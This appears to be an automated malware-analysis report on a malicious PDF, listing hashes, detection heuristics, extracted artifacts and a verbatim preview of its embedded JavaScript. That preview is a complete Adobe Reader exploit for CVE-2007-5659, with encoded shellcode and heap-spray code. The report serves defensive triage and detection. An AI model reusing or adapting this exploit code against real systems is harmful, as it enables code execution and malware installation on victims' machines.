Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae5801f1514ffdbb…

MALICIOUS

PDF

151.1 KB Created: 2008-02-27 16:58:09 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0.1 (Windows)) First seen: 2013-02-27
MD5: edbeefde2b67f8bac92b321bff1f96b7 SHA-1: efc685cb50803d472d2875ae9322c67a609e9de4 SHA-256: ae5801f1514ffdbbf82503d20f39aac41b0f7865a07681be448c85771417d490
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript T1204.002 Malicious Link

The PDF file contains embedded JavaScript and triggers a critical heuristic for CVE-2007-5659 (Collab.collectEmailInfo). This indicates the file is designed to exploit this vulnerability to run malicious code. The embedded JavaScript stream, named 'javascript_obj0017_000.js', is likely responsible for further actions, such as downloading additional malware. The ClamAV detection as Win.Trojan.Dropper-82 supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9821

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Dropper-82
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
taa pdf-embedded-file-undecodable PDF EmbeddedFile object 20 at offset 0xEDB; filter decode failed 50315 bytes
SHA-256: 4efebc8ea3f17add92b1d975a32fb977037be0f49da911ab89cfd2ca8f2738f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x67D 4622 bytes
SHA-256: a855e1484b6aa802ce0f6f936ba6d5b5bb5556ec34d1f510cb7f17c768fa4311
Detection
ClamAV: Win.Trojan.Dropper-82
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) 
{
var v = "";
while (--count >= 0) 
v += what;
return v;
} 
function start() 
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7466%u515a%u7043%u7050%u7070%u5050%u6B68%u5064%u4C50%u4B68%u5077%u6C71%u4D5a%u6B58%u5047%u4850%u794e%u4453%u6250%u5070%u5050%u7875%u5168%u4C4e%u5050%u6270%u5050%u5050%u4B68%u6C4f%u4978%u5747%u7850%u4978%u7744%u5061%u6F6f%u5757%u7850%u4866%u6C4e%u7759%u4350%u6C70%u584e%u644c%u6150%u7050%u7070%u4948%u4754%u4C61%u4F4f%u5747%u7870%u4866%u764f%u5262%u594b%u4C67%u584e%u446b%u7150%u7050%u7050%u6948%u7774%u7052%u4F6f%u7777%u6870%u7876%u457a%u7761%u5050%u6C67%u684e%u544a%u7170%u7050%u7070%u7958%u7764%u7472%u4F4f%u4767%u5870%u5866%u4B6f%u6779%u6D4f%u6F50%u584e%u5449%u6150%u7050%u7070%u5958%u4764%u5852%u4F4f%u4767%u6850%u4856%u6651%u6576%u7A4f%u7041%u786e%u6458%u4150%u5070%u7070%u4978%u6764%u4C62%u6F6f%u6767%u7850%u5866%u4F41%u6967%u5A70%u684e%u686e%u7467%u5150%u7050%u5050%u4948%u5774%u5063%u4F6f%u7767%u6850%u7856%u5572%u706b%u4F4f%u726c%u484e%u6446%u5170%u5050%u5070%u7968%u5754%u7463%u6F4f%u6777%u5870%u4856%u6C5a%u4850%u7A4d%u5667%u784e%u7455%u4170%u7070%u5050%u4948%u7744%u7853%u6F4f%u4747%u7850%u4866%u4849%u4E6f%u4A58%u4E70%u586e%u4474%u6170%u5050%u5050%u5978%u5744%u4C73%u4F4f%u4757%u7850%u4846%u5467%u4968%u6C6e%u6959%u584e%u6463%u4170%u5050%u5070%u7958%u4754%u7054%u4F4f%u7777%u7850%u4846%u6E47%u784d%u524e%u5377%u786e%u4452%u4170%u7070%u7070%u5958%u5764%u4464%u6F6f%u5757%u6850%u7856%u4D5a%u6B49%u4D77%u4F4d%u784e%u7441%u7170%u7050%u7050%u7978%u6744%u6864%u6F4f%u5777%u5061%u6F6f%u6775%u6473%u6363%u766f%u4664%u6D78%u6764%u5046%u7045%u7645%u4F6f%u5755%u4854%u7358%u584f%u4F6f%u4447%u726f%u4D73%u7070%u5041%u7070%u7050%u4667%u4B4e%u7978%u4774%u7450%u4978%u5747%u5046%u6F6f%u5757%u4470%u7A46%u7054%u6F4f%u6765%u4C51%u7948%u5744%u6C45%u5A76%u5070%u6A46%u5070%u4A56%u7070%u6F6f%u5747%u7066%u6F4f%u7775%u4873%u4348%u584f%u6F4f%u4447%u6B54%u6A46%u7070%u6D78%u6F45%u5057%u5375%u4F4f%u4757%u6470%u4F6f%u5777%u6C65%u6F4f%u7747%u5056%u4F6f%u4745%u4C62%u4B68%u4F74%u5067%u7378%u696e%u7041%u4B48%u5744%u4C45%u5074%u4148%u4873%u4664%u4E62%u7A55%u4876%u7567%u4950%u5148%u5847%u6470%u6352%u7650%u7148%u6951%u5477%u5450%u526e%u6C4e%u6B6e%u4A41%u7378%u506c%u4850%u5948%u7744%u6451%u7064%u4148%u4853%u6A74%u5567%u5356%u6B64%u5557%u4970%u7178%u7847%u6470%u6241%u4150%u5348%u6961%u4447%u6E50%u624e%u4C4e%u4F6f%u5777%u6C45%u4F4f%u7745%u7052%u6F70%u5548%u4267%u6F6f%u4F4f%u6F4f%u6378%u706c%u7850%u7978%u6744%u5871%u4A76%u7070%u7866%u5068%u7050%u7070%u5070%u5A66%u6270%u5A76%u7070%u4A46%u5050%u7856%u7070%u5050%u7070%u7064%u4F4f%u4777%u5071%u6F6f%u4765%u7462%u4978%u7774%u7476%u776c%u6754%u4C46%u6D54%u7A65%u7049%u5050%u6A56%u5070%u4D78%u6F55%u7047%u5355%u7A66%u6450%u4D48%u6F65%u4C76%u6375%u6F6f%u5767%u4466%u6F4f%u6765%u7063%u4B68%u7774%u5851%u6B42%u5754%u5461%u7368%u586e%u5850%u6B78%u4F55%u7471%u7043%u5370%u6374%u7844%u5368%u786f%u5050%u6557%u474f%u5A46%u7050%u4D58%u4F65%u5067%u6375%u4B58%u4F65%u4841%u6B52%u4F65%u4441%u6358%u4B4e%u6870%u6375%u4F6f%u4757%u6441%u4F6f%u5767%u7456%u4F4f%u5745%u7073%u6F4f%u4747%u5446%u6F4f%u4765%u6862%u5A56%u7050%u6F4f%u5767%u5071%u4F6f%u6755%u6C63%u7A56%u5050%u4F4f%u4745%u4454%u7575%u6B68%u4C6e%u4745%u4B78%u4D77%u6870%u4B78%u6D75%u4C70%u6645%u4B68%u5357%u6C53%u6B48%u5457%u4E71%u7857%u4350%u736f%u6675%u4B58%u4677%u5042%u7350%u734f%u6343%u696c%u6974%u4174%u6D7a%u4370%u636c%u4675%u7373%u564f%u4F70%u6E4b%u7071%u5A73%u626f%u7467%u5850%u414c%u4E4c%u6D50%u4350%u524f%u5044%u6B4e%u514f%u4B53%u4E6f%u4E45%u5567%u454e%u4A75%u6B58%u4B6e%u6B58%u6A75%u6442%u7370%u4D6d%u7656%u4B48%u6C70%u6B74%u4B58%u4A45%u6C51%u6370%u4D4d%u6B78%u6470%u4B58%u6350%u754c%u6E45%u4F55%u6D65%u626c%u7850%u7050%u486e%u476c%u6D6f%u4F4f%u6F6f%u4346%u4A73%u6C55%u5176%u4E52%u5556%u5857%u7576%u7050" +
"%u3030");

if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",1200);
stream_007_off00017c14.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x17C14 30304 bytes
SHA-256: 1cfc389ead1844fa5472fe7e142c829dc559f6a5fa6cb8bb9b8c3f208fff622f
icc_00_off00015970.icc pdf-icc-profile PDF ICC profile at offset 0x15970 1320 bytes
SHA-256: eb03db58ff1f226c83103a11f30b5520f9b68a7ced67daa78992723e3ea0411d
font_00_sfnt_off0001d14b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1D14B 21108 bytes
SHA-256: d4d133961c39a02c7c4f4a0b2eb08383cf88053aeecc96746f9a23ae66ad210b